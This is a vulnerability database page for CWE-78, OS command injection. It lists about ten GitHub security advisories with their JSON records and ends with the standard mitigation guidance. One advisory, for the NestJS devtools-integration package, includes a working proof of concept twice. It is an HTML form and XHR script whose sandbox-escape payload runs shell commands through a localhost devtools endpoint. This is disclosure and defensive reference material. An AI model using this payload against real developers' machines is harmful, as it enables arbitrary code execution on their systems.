CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8265 vulnerabilities reference this CWE, most recent first.
GHSA-8584-J2XQ-QR4W
Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35A vulnerability in the Sourcefire tunnel control channel protocol in Cisco Firepower System Software running on Cisco Firepower Threat Defense (FTD) sensors could allow an authenticated, local attacker to execute specific CLI commands with root privileges on the Cisco Firepower Management Center (FMC), or through Cisco FMC on other Firepower sensors and devices that are controlled by the same Cisco FMC. To send the commands, the attacker must have root privileges for at least one affected sensor or the Cisco FMC. The vulnerability exists because the affected software performs insufficient checks for certain CLI commands, if the commands are executed via a Sourcefire tunnel connection. An attacker could exploit this vulnerability by authenticating with root privileges to a Firepower sensor or Cisco FMC, and then sending specific CLI commands to the Cisco FMC or through the Cisco FMC to another Firepower sensor via the Sourcefire tunnel connection. A successful exploit could allow the attacker to modify device configurations or delete files on the device that is running Cisco FMC Software or on any Firepower device that is managed by Cisco FMC.
{
"affected": [],
"aliases": [
"CVE-2018-0453"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-05T14:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Sourcefire tunnel control channel protocol in Cisco Firepower System Software running on Cisco Firepower Threat Defense (FTD) sensors could allow an authenticated, local attacker to execute specific CLI commands with root privileges on the Cisco Firepower Management Center (FMC), or through Cisco FMC on other Firepower sensors and devices that are controlled by the same Cisco FMC. To send the commands, the attacker must have root privileges for at least one affected sensor or the Cisco FMC. The vulnerability exists because the affected software performs insufficient checks for certain CLI commands, if the commands are executed via a Sourcefire tunnel connection. An attacker could exploit this vulnerability by authenticating with root privileges to a Firepower sensor or Cisco FMC, and then sending specific CLI commands to the Cisco FMC or through the Cisco FMC to another Firepower sensor via the Sourcefire tunnel connection. A successful exploit could allow the attacker to modify device configurations or delete files on the device that is running Cisco FMC Software or on any Firepower device that is managed by Cisco FMC.",
"id": "GHSA-8584-j2xq-qr4w",
"modified": "2022-05-13T01:35:08Z",
"published": "2022-05-13T01:35:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0453"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-fp-cmd-injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-85CG-CMQ5-QJM7
Vulnerability from github – Published: 2025-08-01 18:43 – Updated: 2025-08-04 15:28Summary
A critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.
A full blog post about how this vulnerability was uncovered can be found on Socket's blog.
Details
The @nestjs/devtools-integration package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.
Key issues:
1. Unsafe Sandbox: The sandbox implementation closely resembles the abandoned safe-eval library. The Node.js vm module is explicitly documented as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.
2. Lack of Proper CORS/Origin Checking: The server sets Access-Control-Allow-Origin to a fixed domain (https://devtools.nestjs.com) but does not validate the request's Origin or Content-Type. Attackers can craft POST requests with text/plain content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.
By chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.
Relevant code from the package:
// Vulnerable request handler
handleGraphInteraction(req, res) {
if (req.method === 'POST') {
let body = '';
req.on('data', data => { body += data; });
req.on('end', async () => {
res.writeHead(200, { 'Content-Type': 'application/plain' });
const json = JSON.parse(body);
await this.sandboxedCodeExecutor.execute(json.code, res);
});
}
}
// Vulnerable sandbox implementation
runInNewContext(code, context, opts) {
const sandbox = {};
const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);
sandbox[resultKey] = {};
const ctx = `
(function() {
Function = undefined;
const keys = Object.getOwnPropertyNames(this).concat(['constructor']);
keys.forEach((key) => {
const item = this[key];
if (!item || typeof item.constructor !== 'function') return;
this[key].constructor = undefined;
});
})();
`;
code = ctx + resultKey + '=' + code;
if (context) {
Object.keys(context).forEach(key => { sandbox[key] = context[key]; });
}
vm.runInNewContext(code, sandbox, opts);
return sandbox[resultKey];
}
Because the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.
PoC
Create a minimal NestJS project and enable @nestjs/devtools-integration in development mode:
npm install @nestjs/devtools-integration
npm run start:dev
Use the following HTML form on any malicious website:
<form action="http://localhost:8000/inspector/graph/interact" method="POST" enctype="text/plain">
<input name="{"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app')}})()","bogus":"" value=""}" />
<input type="submit" value="Exploit" />
</form>
When the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.
Alternatively, the same payload can be sent via a simple XHR request with text/plain content type:
<button onclick="sendPopCalculatorXHR()">Send pop calculator XHR Request</button>
<script>
function sendPopCalculatorXHR() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:8000/inspector/graph/interact");
xhr.withCredentials = false;
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"code":"(function() { try{ propertyIsEnumerable.call(); } catch(pp){ pp.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'open /System/Applications/Calculator.app\'); } })()"}');
}
</script>
Full POC
Minimal reproducer: https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration
Steps to reproduce:
- Clone Repo https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration
- Run NPM install
- Run
npm run start:dev - Open up the POC site here: https://jlleitschuh.org/nestjs-devtools-integration-rce-poc/
- Try out any of the POC payloads.
Source for the nestjs-devtools-integration-rce-poc: https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc
Impact
This vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with @nestjs/devtools-integration enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer’s machine.
- Severity: Critical
- Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising)
- Privileges Required: None
- User Interaction: Minimal (no clicks required)
Fix
The maintainers remediated this issue by:
- Replacing the unsafe sandbox implementation with a safer alternative (@nyariv/sandboxjs).
- Adding origin and content-type validation to incoming requests.
- Introducing authentication for the devtools connection.
Users should upgrade to the patched version of @nestjs/devtools-integration as soon as possible.
Credit
This vulnerability was uncovered by @JLLeitschuh on behalf of Socket.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.0"
},
"package": {
"ecosystem": "npm",
"name": "@nestjs/devtools-integration"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54782"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-01T18:43:13Z",
"nvd_published_at": "2025-08-02T00:15:25Z",
"severity": "CRITICAL"
},
"details": "## Summary\nA critical Remote Code Execution (RCE) vulnerability was discovered in the `@nestjs/devtools-integration` package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (`safe-eval`-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.\n\nA full blog post about how this vulnerability was uncovered can be found on [Socket\u0027s blog](https://socket.dev/blog/nestjs-rce-vuln).\n\n## Details\nThe `@nestjs/devtools-integration` package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, `/inspector/graph/interact`, accepts JSON input containing a `code` field and executes the provided code in a Node.js `vm.runInNewContext` sandbox.\n\nKey issues:\n1. **Unsafe Sandbox:** The sandbox implementation closely resembles the abandoned `safe-eval` library. The Node.js `vm` module is [explicitly documented](https://nodejs.org/api/vm.html) as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.\n2. **Lack of Proper CORS/Origin Checking:** The server sets `Access-Control-Allow-Origin` to a fixed domain (`https://devtools.nestjs.com`) but does not validate the request\u0027s `Origin` or `Content-Type`. Attackers can craft POST requests with `text/plain` content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.\n\nBy chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer\u0027s machine running the NestJS devtools integration.\n\nRelevant code from the package:\n\n```js\n// Vulnerable request handler\nhandleGraphInteraction(req, res) {\n if (req.method === \u0027POST\u0027) {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, data =\u003e { body += data; });\n req.on(\u0027end\u0027, async () =\u003e {\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/plain\u0027 });\n const json = JSON.parse(body);\n await this.sandboxedCodeExecutor.execute(json.code, res);\n });\n }\n}\n\n// Vulnerable sandbox implementation\nrunInNewContext(code, context, opts) {\n const sandbox = {};\n const resultKey = \u0027SAFE_EVAL_\u0027 + Math.floor(Math.random() * 1000000);\n sandbox[resultKey] = {};\n const ctx = `\n (function() {\n Function = undefined;\n const keys = Object.getOwnPropertyNames(this).concat([\u0027constructor\u0027]);\n keys.forEach((key) =\u003e {\n const item = this[key];\n if (!item || typeof item.constructor !== \u0027function\u0027) return;\n this[key].constructor = undefined;\n });\n })();\n `;\n code = ctx + resultKey + \u0027=\u0027 + code;\n if (context) {\n Object.keys(context).forEach(key =\u003e { sandbox[key] = context[key]; });\n }\n vm.runInNewContext(code, sandbox, opts);\n return sandbox[resultKey];\n}\n```\n\nBecause the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer\u0027s machine.\n\n## PoC\nCreate a minimal NestJS project and enable @nestjs/devtools-integration in development mode:\n\n```\nnpm install @nestjs/devtools-integration\nnpm run start:dev\n```\n\nUse the following HTML form on any malicious website:\n\n\n```html\n\u003cform action=\"http://localhost:8000/inspector/graph/interact\" method=\"POST\" enctype=\"text/plain\"\u003e\n \u003cinput name=\"{\u0026quot;code\u0026quot;:\u0026quot;(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor(\u0027return process\u0027)().mainModule.require(\u0027child_process\u0027).execSync(\u0027open /System/Applications/Calculator.app\u0027)}})()\u0026quot;,\u0026quot;bogus\u0026quot;:\u0026quot;\" value=\"\u0026quot;}\" /\u003e\n \u003cinput type=\"submit\" value=\"Exploit\" /\u003e\n\u003c/form\u003e\n```\n\nWhen the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.\n\nAlternatively, the same payload can be sent via a simple XHR request with text/plain content type:\n\n```html\n\u003cbutton onclick=\"sendPopCalculatorXHR()\"\u003eSend pop calculator XHR Request\u003c/button\u003e\n\u003cscript\u003e\n function sendPopCalculatorXHR() {\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", \"http://localhost:8000/inspector/graph/interact\");\n xhr.withCredentials = false;\n xhr.setRequestHeader(\"Content-Type\", \"text/plain\");\n xhr.send(\u0027{\"code\":\"(function() { try{ propertyIsEnumerable.call(); } catch(pp){ pp.constructor.constructor(\\\u0027return process\\\u0027)().mainModule.require(\\\u0027child_process\\\u0027).execSync(\\\u0027open /System/Applications/Calculator.app\\\u0027); } })()\"}\u0027);\n }\n\u003c/script\u003e\n```\n\n### Full POC\n\nMinimal reproducer: https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration\n\nSteps to reproduce:\n\n1. Clone Repo https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration\n2. Run NPM install\n3. Run `npm run start:dev`\n4. Open up the POC site here: https://jlleitschuh.org/nestjs-devtools-integration-rce-poc/\n5. Try out any of the POC payloads.\n\nSource for the `nestjs-devtools-integration-rce-poc`: https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc\n\n## Impact\n\nThis vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with `@nestjs/devtools-integration` enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer\u2019s machine.\n\n- Severity: Critical\n- Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising)\n- Privileges Required: None\n- User Interaction: Minimal (no clicks required)\n\n## Fix\nThe maintainers remediated this issue by:\n\n - Replacing the unsafe sandbox implementation with a safer alternative (@nyariv/sandboxjs).\n - Adding origin and content-type validation to incoming requests.\n - Introducing authentication for the devtools connection.\n\nUsers should upgrade to the patched version of @nestjs/devtools-integration as soon as possible.\n\n## Credit\n\nThis vulnerability was uncovered by @JLLeitschuh on behalf of [Socket](https://socket.dev/).",
"id": "GHSA-85cg-cmq5-qjm7",
"modified": "2025-08-04T15:28:48Z",
"published": "2025-08-01T18:43:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54782"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration"
},
{
"type": "PACKAGE",
"url": "https://github.com/nestjs/nest"
},
{
"type": "WEB",
"url": "https://jlleitschuh.org/nestjs-devtools-integration-rce-poc"
},
{
"type": "WEB",
"url": "https://nodejs.org/api/vm.html"
},
{
"type": "WEB",
"url": "https://socket.dev/blog/nestjs-rce-vuln"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "@nestjs/devtools-integration: CSRF to Sandbox Escape Allows for RCE against JS Developers"
}
GHSA-85CP-HM7F-PWXW
Vulnerability from github – Published: 2023-08-26 00:30 – Updated: 2023-08-26 00:30A vulnerability was found in D-Link DAR-8000-10 up to 20230809. It has been classified as critical. This affects an unknown part of the file /app/sys1.php. The manipulation of the argument cmd with the input id leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-238047. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2023-4542"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-25T22:15:11Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in D-Link DAR-8000-10 up to 20230809. It has been classified as critical. This affects an unknown part of the file /app/sys1.php. The manipulation of the argument cmd with the input id leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-238047. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-85cp-hm7f-pwxw",
"modified": "2023-08-26T00:30:20Z",
"published": "2023-08-26T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4542"
},
{
"type": "WEB",
"url": "https://github.com/PumpkinBridge/cve/blob/main/rce.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.238047"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.238047"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-85FW-HHRW-FR33
Vulnerability from github – Published: 2022-05-17 04:54 – Updated: 2025-04-11 04:18The Thecus NAS server N8800 with firmware 5.03.01 allows remote attackers to execute arbitrary commands via a get_userid action with shell metacharacters in the username parameter.
{
"affected": [],
"aliases": [
"CVE-2013-5667"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-01-24T04:38:00Z",
"severity": "HIGH"
},
"details": "The Thecus NAS server N8800 with firmware 5.03.01 allows remote attackers to execute arbitrary commands via a get_userid action with shell metacharacters in the username parameter.",
"id": "GHSA-85fw-hhrw-fr33",
"modified": "2025-04-11T04:18:26Z",
"published": "2022-05-17T04:54:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-5667"
},
{
"type": "WEB",
"url": "http://www.7elements.co.uk/news/cve-2013-5667"
},
{
"type": "WEB",
"url": "http://www.7elements.co.uk/resources/blog/multiple-vulnerabilities-thecus-nas"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/105686"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-85MX-PQV6-R46J
Vulnerability from github – Published: 2025-01-15 18:30 – Updated: 2025-01-16 18:30TOTOLINK X5000R V9.1.0cu.2350_B20230313 was discovered to contain an OS command injection vulnerability via the "pass" parameter in setVpnAccountCfg.
{
"affected": [],
"aliases": [
"CVE-2024-57017"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-15T17:15:17Z",
"severity": "CRITICAL"
},
"details": "TOTOLINK X5000R V9.1.0cu.2350_B20230313 was discovered to contain an OS command injection vulnerability via the \"pass\" parameter in setVpnAccountCfg.",
"id": "GHSA-85mx-pqv6-r46j",
"modified": "2025-01-16T18:30:59Z",
"published": "2025-01-15T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57017"
},
{
"type": "WEB",
"url": "https://github.com/tiger5671/Vulnerabilities/blob/main/TOTOLINK%20X5000R/setVpnAccountCfg/setVpnAccountCfg.md"
},
{
"type": "WEB",
"url": "https://www.totolink.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-863P-RW7X-45HF
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45A remote execution of arbitrary commands vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.5.x: 6.5.4.17 and below; Aruba Instant 8.3.x: 8.3.0.13 and below; Aruba Instant 8.5.x: 8.5.0.10 and below; Aruba Instant 8.6.x: 8.6.0.5 and below; Aruba Instant 8.7.x: 8.7.0.0 and below. Aruba has released patches for Aruba Instant that address this security vulnerability.
{
"affected": [],
"aliases": [
"CVE-2020-24635"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-29T20:15:00Z",
"severity": "HIGH"
},
"details": "A remote execution of arbitrary commands vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.5.x: 6.5.4.17 and below; Aruba Instant 8.3.x: 8.3.0.13 and below; Aruba Instant 8.5.x: 8.5.0.10 and below; Aruba Instant 8.6.x: 8.6.0.5 and below; Aruba Instant 8.7.x: 8.7.0.0 and below. Aruba has released patches for Aruba Instant that address this security vulnerability.",
"id": "GHSA-863p-rw7x-45hf",
"modified": "2022-05-24T17:45:36Z",
"published": "2022-05-24T17:45:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24635"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-723417.pdf"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2021-007.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8649-Q8G4-G5MG
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-07-13 00:01A remote authenticated SQL Injection vulnerabilitiy was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.9.5, 6.8.8-HF1, 6.7.14-HF1. A vulnerability in the web-based management interface API of ClearPass could allow an authenticated remote attacker to conduct SQL injection attacks against the ClearPass instance. An attacker could exploit this vulnerability to obtain and modify sensitive information in the underlying database.
{
"affected": [],
"aliases": [
"CVE-2021-26685"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-23T17:15:00Z",
"severity": "MODERATE"
},
"details": "A remote authenticated SQL Injection vulnerabilitiy was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.9.5, 6.8.8-HF1, 6.7.14-HF1. A vulnerability in the web-based management interface API of ClearPass could allow an authenticated remote attacker to conduct SQL injection attacks against the ClearPass instance. An attacker could exploit this vulnerability to obtain and modify sensitive information in the underlying database.",
"id": "GHSA-8649-q8g4-g5mg",
"modified": "2022-07-13T00:01:11Z",
"published": "2022-05-24T17:42:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26685"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2021-004.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-864G-GG6M-GP3X
Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-05-24 22:28The specific function in ASUS BMC’s firmware Web management page (Modify user’s information function) does not filter the specific parameter. As obtaining the administrator permission, remote attackers can launch command injection to execute command arbitrary.
{
"affected": [],
"aliases": [
"CVE-2021-28204"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-06T05:15:00Z",
"severity": "HIGH"
},
"details": "The specific function in ASUS BMC\u2019s firmware Web management page (Modify user\u2019s information function) does not filter the specific parameter. As obtaining the administrator permission, remote attackers can launch command injection to execute command arbitrary.",
"id": "GHSA-864g-gg6m-gp3x",
"modified": "2022-05-24T22:28:25Z",
"published": "2022-05-24T22:28:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28204"
},
{
"type": "WEB",
"url": "https://www.asus.com/content/ASUS-Product-Security-Advisory"
},
{
"type": "WEB",
"url": "https://www.asus.com/tw/support/callus"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-4574-b61a6-1.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-865Q-QQWJ-GWM3
Vulnerability from github – Published: 2026-05-29 12:31 – Updated: 2026-06-01 21:30Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Administration WebUI in Waterfall WF-500 TX Host in version 7.9.1.0 R2502171040 that allows remote authenticated attackers to execute arbitrary operating system commands on the WF-500 TX Host.
{
"affected": [],
"aliases": [
"CVE-2025-41266"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T12:16:22Z",
"severity": "HIGH"
},
"details": "Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) in the Administration WebUI in Waterfall WF-500 TX Host in version 7.9.1.0 R2502171040 that allows remote authenticated attackers to execute arbitrary operating system commands on the WF-500 TX Host.",
"id": "GHSA-865q-qqwj-gwm3",
"modified": "2026-06-01T21:30:41Z",
"published": "2026-05-29T12:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41266"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2025-41266"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-865X-83MQ-3QPQ
Vulnerability from github – Published: 2024-11-22 04:25 – Updated: 2024-11-22 04:25OS command injection vulnerability exists in AIPHONE IX SYSTEM and IXG SYSTEM. A network-adjacent authenticated attacker may execute an arbitrary OS command with root privileges by sending a specially crafted request.
{
"affected": [],
"aliases": [
"CVE-2024-31408"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-22T02:15:19Z",
"severity": "HIGH"
},
"details": "OS command injection vulnerability exists in AIPHONE IX SYSTEM and IXG SYSTEM. A network-adjacent authenticated attacker may execute an arbitrary OS command with root privileges by sending a specially crafted request.",
"id": "GHSA-865x-83mq-3qpq",
"modified": "2024-11-22T04:25:02Z",
"published": "2024-11-22T04:25:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31408"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN41397971"
},
{
"type": "WEB",
"url": "https://www.aiphone.net/important/20241016_1"
},
{
"type": "WEB",
"url": "https://www.aiphone.net/important/20241016_2"
},
{
"type": "WEB",
"url": "https://www.aiphone.net/support/software-documents/ix"
},
{
"type": "WEB",
"url": "https://www.aiphone.net/support/software-documents/ixg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
